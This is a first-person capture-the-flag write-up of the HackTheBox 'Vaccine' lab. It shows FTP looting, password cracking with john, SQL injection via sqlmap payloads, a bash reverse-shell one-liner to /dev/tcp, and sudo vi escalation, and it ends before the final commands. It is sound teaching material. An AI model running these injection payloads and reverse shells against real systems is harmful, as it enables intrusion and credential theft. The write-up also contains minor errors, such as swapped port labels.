Vaccine Writeup

For this box, I discover a password protected ZIP file. After cracking the password and examining what was in the ZIP file, I find credentials to a website. Once logged in I discover that the HTTP application is vulnerable to SQL injection. I am able to exploit this vulnerability to get a reverse shell. Once on the box I take advantage of vi to get a shell as root thanks to GTFOBins!

Initial Recon

Started with the standard nmap scan.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ sudo nmap -sC -sV -oA nmap/initial $tgt              
[sudo] password for crimson: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-05 16:30 CDT
Nmap scan report for 10.129.65.59
Host is up (0.059s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.125
|      Logged in as ftpuser
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
|   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: MegaCorp Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds

There are three ports open – SSH on 21, FTP on 22, and HTTP on 80.

Initial Access

FTP

The nmap scan shows that an anonymous login is allowed and there seems to be an interesting file I will want to pull back. To connect via an anonymous login simply use anonymouse as the username and hit Enter when prompted for a password. Once connected I pull back the ZIP file to my attacking machine.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ ftp $tgt
Connected to 10.129.65.59.
220 (vsFTPd 3.0.3)
Name (10.129.65.59:crimson): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
226 Directory send OK.
ftp> get backup.zip
local: backup.zip remote: backup.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.00 secs (11.5582 MB/s)
ftp> exit
221 Goodbye.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ ll
total 8
-rw-r--r-- 1 crimson crimson 2533 Jun  5 17:08 backup.zip
drwxr-xr-x 2 crimson crimson 4096 Jun  5 16:30 nmap

Trying to unzip the file prompts for a password. Trying common passwords is a no go. Time to start cracking! For this I used zip2john and john. The former command is used to create a hash of the file that will then be cracked with the latter command. And just like that I can unzip the file.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ unzip backup.zip 
Archive:  backup.zip
[backup.zip] index.php password: 
password incorrect--reenter: 
password incorrect--reenter: 
   skipping: index.php               incorrect password
   skipping: style.css               incorrect password

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine/backup]
└─$ zip2john backup.zip > backup.txt
Created directory: /home/crimson/.john
ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine/backup]
└─$ cat backup.txt                                                                                              1 ⨯
backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52<SNIP>

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine/backup]
└─$ john --wordlist=/opt/rockyou.txt backup.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963        (backup.zip)     
1g 0:00:00:00 DONE (2022-06-05 17:16) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Within the ZIP is index.php, and below is a snippet of the code that is interesting. Seems as though there is a username, admin, and a MD5 hash of the password.

<!DOCTYPE html>
<?php
session_start();
  if(isset($_POST['username']) && isset($_POST['password'])) {
    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION['login'] = "true";
      header("Location: dashboard.php");
    }
  }
<SNIP>

I copy and paste the MD5 hash into a text file. Then I use john to crack the hash.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ cat pw.txt        
2cb42f8734ea607eefed3b70af13bbd3

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ john --format=raw-md5 --wordlist=/opt/rockyou.txt pw.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
qwerty789        (?)     
1g 0:00:00:00 DONE (2022-06-05 17:24) 100.0g/s 10022Kp/s 10022Kc/s 10022KC/s shunda..pogimo
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

HTTP

Seems as though I got all I could out of FTP so on to HTTP! And to my surprise I am greeted with a login page, what a coincidence.

Below is the landing page after logging in. It contains a list of various products.

At the top is a search bar where I can search for a specific product.

There has to be a backend database storing all these product details. I see if I can get some sort of error message by throwing special characters in the search bar. An error message could point to a potential injection type of attack that can be taken advantage of. I search for elixir' # and get the following error.

Given the error, the backend database seems to be vulnerable to an injection attack. I end up running sqlmap. Looking at the help for sqlmap shows that I need a URL that contains a field to be fuzzed. And since I logged in sqlmap will need the session cookie as well. That cookie can be found by looking at a GET request in Burp Suite.

Let’s see what sqlmap discovers.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ sqlmap -u "http://10.129.65.59/dashboard.php?search=elixir" --cookie="PHPSESSID=5kas4pb2ncp23da806a4vmun5q" -a
        ___
       __H__                                                                                                        
 ___ ___[']_____ ___ ___  {1.6.6.1#dev}                                                                             
|_ -| . [,]     | .'| . |                                                                                           
|___|_  [(]_|_|_|__,|  _|                                                                                           
      |_|V...       |_|   https://sqlmap.org                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:03:08 /2022-06-05/

[18:03:08] [INFO] testing connection to the target URL
[18:03:08] [INFO] testing if the target URL content is stable
[18:03:09] [INFO] target URL content is stable
[18:03:09] [INFO] testing if GET parameter 'search' is dynamic
[18:03:09] [INFO] GET parameter 'search' appears to be dynamic
[18:03:09] [WARNING] heuristic (basic) test shows that GET parameter 'search' might not be injectable
[18:03:09] [INFO] testing for SQL injection on GET parameter 'search'
[18:03:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:03:10] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:03:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:03:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:03:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[18:03:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:03:12] [INFO] testing 'Generic inline queries'
[18:03:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[18:03:22] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] y

<SNIP>

[18:03:37] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: search (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=elixir';SELECT PG_SLEEP(5)--

sqlmap has identified the backend database as PostgreSQL. At the very end of the above output shows the payload used to test HTTP application. If the application hangs for 5 seconds it is proof that the attack was successful.

Now that I know that the application is vulnerable to SQL injection it is time to get a shell. This can be achieved by using the --os-shell switch of sqlmap.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ sqlmap -u "http://10.129.65.59/dashboard.php?search=elixir" --cookie="PHPSESSID=5kas4pb2ncp23da806a4vmun5q" --os-shell
        ___
       __H__                                                                                                        
 ___ ___["]_____ ___ ___  {1.6.6.1#dev}                                                                             
|_ -| . ["]     | .'| . |                                                                                           
|___|_  [)]_|_|_|__,|  _|                                                                                           
      |_|V...       |_|   https://sqlmap.org                                                                        

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:10:10 /2022-06-05/

[18:10:10] [INFO] resuming back-end DBMS 'postgresql' 
[18:10:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: search (GET)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: search=elixir';SELECT PG_SLEEP(5)--

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: search=elixir' UNION ALL SELECT NULL,NULL,NULL,(CHR(113)||CHR(107)||CHR(113)||CHR(107)||CHR(113))||(CHR(103)||CHR(84)||CHR(84)||CHR(117)||CHR(113)||CHR(72)||CHR(117)||CHR(69)||CHR(80)||CHR(107)||CHR(74)||CHR(68)||CHR(97)||CHR(111)||CHR(106)||CHR(122)||CHR(73)||CHR(110)||CHR(111)||CHR(121)||CHR(115)||CHR(116)||CHR(88)||CHR(118)||CHR(80)||CHR(90)||CHR(101)||CHR(65)||CHR(88)||CHR(121)||CHR(79)||CHR(77)||CHR(120)||CHR(111)||CHR(90)||CHR(111)||CHR(74)||CHR(98)||CHR(109)||CHR(121))||(CHR(113)||CHR(113)||CHR(122)||CHR(113)||CHR(113)),NULL-- pnwJ
---
[18:10:10] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[18:10:10] [INFO] fingerprinting the back-end DBMS operating system
[18:10:11] [INFO] the back-end DBMS operating system is Linux
[18:10:11] [INFO] testing if current user is DBA
[18:10:11] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[18:10:11] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'postgres'
os-shell> 

The shell provided by sqlmap is not very stable. So I start a listener on my attacking box and run the below command on the victim box to get a better shell.

os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/9001 0>&1"

I got to thinking, credentials were stored in a PHP file. What are the chances more credentials are stored in other PHP files on this box? Turns out pretty high.

postgres@vaccine:/var/www/html$ grep passw *
grep passw *
dashboard.php:    $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
index.php:  if(isset($_POST['username']) && isset($_POST['password'])) {
index.php:    if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
index.php:        <label for="login__password"><svg class="icon"><use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#lock"></use></svg><span class="hidden">Password</span></label>
index.php:        <input id="login__password" type="password" name="password" class="form__input" placeholder="Password" required>
style.css:.form input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password'],
style.css:.login input[type='password']:focus,
style.css:.login input[type='password']:hover,

End up trying the newly found credentials via SSH and they work, thank goodness!

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Vaccine]
└─$ ssh postgres@$tgt
The authenticity of host '10.129.65.100 (10.129.65.100)' can't be established.
ED25519 key fingerprint is SHA256:4qLpMBLGtEbuHObR8YU15AGlIlpd0dsdiGh/pkeZYFo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:3: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.65.100' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 06 Jun 2022 03:18:04 AM UTC

  System load:  0.01              Processes:             187
  Usage of /:   32.9% of 8.73GB   Users logged in:       0
  Memory usage: 32%               IP address for ens160: 10.129.65.100
  Swap usage:   0%


0 updates can be installed immediately.
0 of these updates are security updates.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

postgres@vaccine:~$ 

Poking around did not reveal anything interesting. I check if there is anything that can be ran with sudo.

postgres@vaccine:~$ sudo -l
Matching Defaults entries for postgres on vaccine:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
    XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User postgres may run the following commands on vaccine:
    (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
postgres@vaccine:~$ 

Priv Esc

Running the following command is the key to elevated privileges – /bin/vi /etc/postgresql/11/main/pg_hba.conf. Looking at pg_hba.conf does not look like a file I can take advantage of. But, perhaps, vi can be used to elevate privileges regardless of the document I am able to edit.

Eventually I come across GTFOBins, the Linux version of LOLBAS which is for Windows. There are a few ways to use vi to elevate privileges, and one works! After running sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf I do the following to get a shell!